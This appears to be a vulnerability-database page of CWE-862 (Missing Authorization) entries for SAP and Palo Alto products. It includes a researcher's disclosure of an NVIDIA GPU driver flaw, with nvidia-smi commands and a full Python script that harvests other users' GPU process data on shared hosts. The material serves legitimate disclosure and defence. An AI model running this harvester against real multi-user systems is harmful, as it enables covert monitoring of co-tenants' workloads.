CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
16890 vulnerabilities reference this CWE, most recent first.
CVE-2026-0503 (GCVE-0-2026-0503)
Vulnerability from cvelistv5 – Published: 2026-01-13 01:14 – Updated: 2026-01-13 19:09- CWE-862 - Missing Authorization
| Vendor | Product | Version | |
|---|---|---|---|
| SAP_SE | SAP ERP Central Component and SAP S/4HANA (SAP EHS Management) |
Affected:
SAP_APPL 618
Affected: S4CORE 102 Affected: 103 Affected: 104 Affected: 105 Affected: 106 Affected: 107 Affected: 108 Affected: 109 Affected: EA-APPL 605 Affected: 606 Affected: 617 |
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CVE-2026-0497 (GCVE-0-2026-0497)
Vulnerability from cvelistv5 – Published: 2026-01-13 01:13 – Updated: 2026-01-13 15:15- CWE-862 - Missing Authorization
| Vendor | Product | Version | |
|---|---|---|---|
| SAP_SE | Business Server Pages Application (Product Designer Web UI) |
Affected:
SAP_APPL 618
Affected: S4CORE 102 Affected: 103 Affected: 104 Affected: 105 Affected: 106 Affected: 107 Affected: 108 Affected: 109 Affected: EA-APPL 600 Affected: 602 Affected: 603 Affected: 604 Affected: 605 Affected: 606 Affected: 617 |
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CVE-2026-0490 (GCVE-0-2026-0490)
Vulnerability from cvelistv5 – Published: 2026-02-10 03:01 – Updated: 2026-02-10 16:34- CWE-862 - Missing Authorization
| Vendor | Product | Version | |
|---|---|---|---|
| SAP_SE | SAP BusinessObjects BI Platform |
Affected:
ENTERPRISE 430
Affected: 2025 Affected: 2027 |
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CVE-2026-0488 (GCVE-0-2026-0488)
Vulnerability from cvelistv5 – Published: 2026-02-10 03:01 – Updated: 2026-02-26 15:04- CWE-862 - Missing Authorization
| Vendor | Product | Version | |
|---|---|---|---|
| SAP_SE | SAP CRM and SAP S/4HANA (Scripting Editor) |
Affected:
S4FND 102
Affected: 103 Affected: 104 Affected: 105 Affected: 106 Affected: 107 Affected: 108 Affected: 109 Affected: SAP_ABA 700 Affected: WEBCUIF 700 Affected: 701 Affected: 730 Affected: 731 Affected: 746 Affected: 747 Affected: 748 Affected: 800 Affected: 801 |
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CVE-2026-0486 (GCVE-0-2026-0486)
Vulnerability from cvelistv5 – Published: 2026-02-10 03:00 – Updated: 2026-02-10 15:45- CWE-862 - Missing Authorization
| Vendor | Product | Version | |
|---|---|---|---|
| SAP_SE | ABAP based SAP systems |
Affected:
ST-PI 2005_1_700
Affected: 2008_1_710 Affected: 740 Affected: 758 |
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GCVE-1988-2026-0298
Vulnerability from gna-1988 – Published: 2026-09-08 11:40 – Updated: 2026-09-11 11:52- related CVE-2018-6260
- related CVE-2021-1056
{
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"product": "Linux GPU",
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"lang": "en",
"value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
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CVE-2026-0272 (GCVE-0-2026-0272)
Vulnerability from cvelistv5 – Published: 2026-06-10 21:01 – Updated: 2026-08-11 12:23- CWE-862 - Missing Authorization
| URL | Tags |
|---|---|
| https://security.paloaltonetworks.com/CVE-2026-0272 | vendor-advisory |
| https://cert-portal.siemens.com/productcert/html/… |
| Vendor | Product | Version | |
|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
|
| Palo Alto Networks | PAN-OS |
Affected:
12.1.0 , < 12.1.4-h7
(custom)
Affected: 11.2.0 , < 11.2.4-h18 (custom) Affected: 11.1.0 , < 11.1.4-h34 (custom) Affected: 10.2.0 , < 10.2.7-h35 (custom) cpe:2.3:o:palo_alto_networks:pan-os:12.1.4:h6:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:12.1.4:h5:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:12.1.4:h3:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:12.1.4:h2:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:12.1.4:-:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:12.1.3:*:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:12.1.2:*:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:11.2.10:h8:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:11.2.10:h7:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:11.2.10:h6:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:11.2.10:h5:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:11.2.10:h4:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:11.2.10:h3:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:11.2.10:h2:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:11.2.10:h1:*:*:*:*:*:* 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cpe:2.3:o:palo_alto_networks:pan-os:10.2.2:*:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:10.2.1:*:*:*:*:*:*:* cpe:2.3:o:palo_alto_networks:pan-os:10.2.0:*:*:*:*:*:*:* |
|
| Palo Alto Networks | Prisma Access |
Unaffected:
All
(custom)
|
|
| Siemens | RUGGEDCOM APE1808 |
Affected:
0 , < *
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-0272",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-11T03:55:35.701340Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-11T10:17:40.792Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"defaultStatus": "unknown",
"product": "RUGGEDCOM APE1808",
"vendor": "Siemens",
"versions": [
{
"lessThan": "*",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-11T12:23:21.327Z",
"orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
"shortName": "siemens-SADP"
},
"references": [
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-104023.html"
}
],
"x_adpType": "supplier"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Cloud NGFW",
"vendor": "Palo Alto Networks",
"versions": [
{
"status": "unaffected",
"version": "All",
"versionType": "custom"
}
]
},
{
"cpes": [
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],
"defaultStatus": "unaffected",
"product": "PAN-OS",
"vendor": "Palo Alto Networks",
"versions": [
{
"changes": [
{
"at": "12.1.4-h7",
"status": "unaffected"
},
{
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"status": "unaffected"
}
],
"lessThan": "12.1.4-h7",
"status": "affected",
"version": "12.1.0",
"versionType": "custom"
},
{
"changes": [
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"status": "unaffected"
},
{
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"status": "unaffected"
},
{
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"status": "unaffected"
},
{
"at": "11.2.11",
"status": "unaffected"
}
],
"lessThan": "11.2.4-h18",
"status": "affected",
"version": "11.2.0",
"versionType": "custom"
},
{
"changes": [
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"status": "unaffected"
},
{
"at": "11.1.6-h33",
"status": "unaffected"
},
{
"at": "11.1.7-h7",
"status": "unaffected"
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{
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"value": "\u003ctable class=\"tbl\"\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003c/th\u003e\u003cth\u003eMinor Version Range\u003c/th\u003e\u003cth\u003eSuggested Solution\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eCloud NGFW\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 12.1\u003c/td\u003e\u003ctd\u003e12.1.2 through 12.1.4-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 12.1.4-h7 or 12.1.5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.2\u003c/td\u003e\u003ctd\u003e11.2.8 through 11.2.10-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.10-h9 or 11.2.11 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.5 through 11.2.7-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.7-h16 or 11.2.11 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.0 through 11.2.4-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.4-h18 or 11.2.11 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.1\u003c/td\u003e\u003ctd\u003e11.1.11 through 11.1.13-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.13-h7 or 11.1.14 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.7 through 11.1.10-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.10-h27 or 11.1.14 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.5 through 11.1.6-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.6-h33 or 11.1.14 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.0 through 11.1.4-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.4-h34 or 11.1.14 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.2\u003c/td\u003e\u003ctd\u003e10.2.17 through 10.2.18-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.14 through 10.2.16-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.16-h8 or 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.11 through 10.2.13-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.13-h22 or 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.8 through 10.2.10-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.10-h37 or 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.0 through 10.2.7-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.7-h35 or 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eAll other older\u003cbr\u003eunsupported\u003cbr\u003ePAN-OS versions\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e"
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"source": {
"discovery": "EXTERNAL"
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"timeline": [
{
"lang": "en",
"time": "2026-06-10T16:00:00.000Z",
"value": "Initial publication."
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],
"title": "PAN-OS: Privilege Escalation (PE) Vulnerability in the Command Line Interface (CLI)",
"workarounds": [
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"value": "\u003cp\u003eThe vast majority of firewalls already follow Palo Alto Networks\u0027 and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practice deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ePalo Alto Networks LIVEcommunity article\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ePalo Alto Networks official and detailed technical documentation\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e"
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],
"value": "The vast majority of firewalls already follow Palo Alto Networks\u0027 and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our best practice deployment guidelines (https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431). Specifically, you should restrict management interface access to only trusted internal IP addresses.\n\nReview information about how to secure management access to your Palo Alto Networks firewalls:\n\n * Palo Alto Networks LIVEcommunity article (https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431)\n * Palo Alto Networks official and detailed technical documentation (https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices)"
}
],
"x_affectedList": [
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"PAN-OS 12.1.4-h5",
"PAN-OS 12.1.4-h3",
"PAN-OS 12.1.4-h2",
"PAN-OS 12.1.4",
"PAN-OS 12.1.3-h3",
"PAN-OS 12.1.3-h1",
"PAN-OS 12.1.3",
"PAN-OS 12.1.2",
"PAN-OS 11.2.10-h8",
"PAN-OS 11.2.10-h7",
"PAN-OS 11.2.10-h6",
"PAN-OS 11.2.10-h5",
"PAN-OS 11.2.10-h4",
"PAN-OS 11.2.10-h3",
"PAN-OS 11.2.10-h2",
"PAN-OS 11.2.10-h1",
"PAN-OS 11.2.10",
"PAN-OS 11.2.9",
"PAN-OS 11.2.8",
"PAN-OS 11.2.7-h15",
"PAN-OS 11.2.7-h14",
"PAN-OS 11.2.7-h13",
"PAN-OS 11.2.7-h12",
"PAN-OS 11.2.7-h11",
"PAN-OS 11.2.7-h10",
"PAN-OS 11.2.7-h8",
"PAN-OS 11.2.7-h7",
"PAN-OS 11.2.7-h4",
"PAN-OS 11.2.7-h3",
"PAN-OS 11.2.7-h2",
"PAN-OS 11.2.7-h1",
"PAN-OS 11.2.7",
"PAN-OS 11.2.6",
"PAN-OS 11.2.5",
"PAN-OS 11.2.4-h17",
"PAN-OS 11.2.4-h15",
"PAN-OS 11.2.4-h14",
"PAN-OS 11.2.4-h12",
"PAN-OS 11.2.4-h11",
"PAN-OS 11.2.4-h10",
"PAN-OS 11.2.4-h9",
"PAN-OS 11.2.4-h8",
"PAN-OS 11.2.4-h7",
"PAN-OS 11.2.4-h6",
"PAN-OS 11.2.4-h5",
"PAN-OS 11.2.4-h4",
"PAN-OS 11.2.4-h3",
"PAN-OS 11.2.4-h2",
"PAN-OS 11.2.4-h1",
"PAN-OS 11.2.4",
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CVE-2026-0246 (GCVE-0-2026-0246)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:51 – Updated: 2026-05-13 19:30- CWE-862 - Missing Authorization
| URL | Tags |
|---|---|
| https://security.paloaltonetworks.com/CVE-2026-0246 | vendor-advisory |
| Vendor | Product | Version | |
|---|---|---|---|
| Palo Alto Networks | Prisma Access Agent |
Affected:
0 , < 26.2.1
(custom)
cpe:2.3:a:palo_alto_networks:prisma_access_agent:*:*:linux:*:*:*:*:* |
|
| Palo Alto Networks | Prisma Access Agent |
Affected:
0 , < 26.2.1
(custom)
cpe:2.3:a:palo_alto_networks:prisma_access_agent:*:*:macos:*:*:*:*:* |
|
| Palo Alto Networks | Prisma Access Agent |
Affected:
0 , < 26.2.1
(custom)
cpe:2.3:a:palo_alto_networks:prisma_access_agent:*:*:windows:*:*:*:*:* |
|
| Palo Alto Networks | Prisma Access Agent |
Unaffected:
All
(custom)
|
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GCVE-1988-2026-0154
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 08:13| Vendor | Product | Version | |
|---|---|---|---|
| Barrier Project | Barrier |
Affected:
unknown
|
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GCVE-1988-2026-0082
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:52{
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"value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing 